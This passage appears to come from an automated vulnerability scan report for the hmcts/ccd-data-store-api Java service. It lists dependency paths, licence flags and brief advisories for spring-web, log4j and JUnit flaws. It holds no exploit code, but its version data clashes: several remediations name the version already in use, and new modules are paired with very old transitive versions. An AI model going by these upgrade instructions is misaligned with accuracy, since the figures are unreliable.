  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Privilege Escalation. By recreating the temporary storage directory, a locally authenticated malicious user can read or modify files that have been uploaded to the WebFlux application, or overwrite arbitrary files with multipart request data.

Remediation

Upgrade org.springframework:spring-web to version 5.3.7, 5.2.15.RELEASE or higher.

References

medium severity

LGPL-2.1 license

  • Module: com.github.spotbugs:spotbugs-annotations
  • Introduced through: com.github.spotbugs:spotbugs-annotations@4.0.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.github.spotbugs:spotbugs-annotations@4.0.0

LGPL-2.1 license

medium severity

LGPL-2.0 license

  • Module: com.google.code.findbugs:annotations
  • Introduced through: com.google.code.findbugs:annotations@3.0.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.google.code.findbugs:annotations@3.0.0

LGPL-2.0 license

medium severity

EPL-1.0 license

  • Module: junit:junit
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 junit:junit@4.12

EPL-1.0 license

medium severity

LGPL-2.1 license

  • Module: org.hibernate.orm:hibernate-core
  • Introduced through: org.hibernate.orm:hibernate-core@6.6.42.Final and org.springframework.boot:spring-boot-starter-data-jpa@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.hibernate.orm:hibernate-core@6.6.42.Final
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-data-jpa@4.1.0 org.springframework.boot:spring-boot-hibernate@4.1.0 org.hibernate.orm:hibernate-core@6.6.42.Final

LGPL-2.1 license

low severity

Man-in-the-Middle (MitM)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.13.2 or higher.

References

low severity

Information Exposure

  • Vulnerable module: junit:junit
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 junit:junit@4.12
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

junit:junit is an unit testing framework for Java

Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.

Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.

Remediation

Upgrade junit:junit to version 4.13.1 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-web to version 6.1.14 or higher.

References

low severity

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

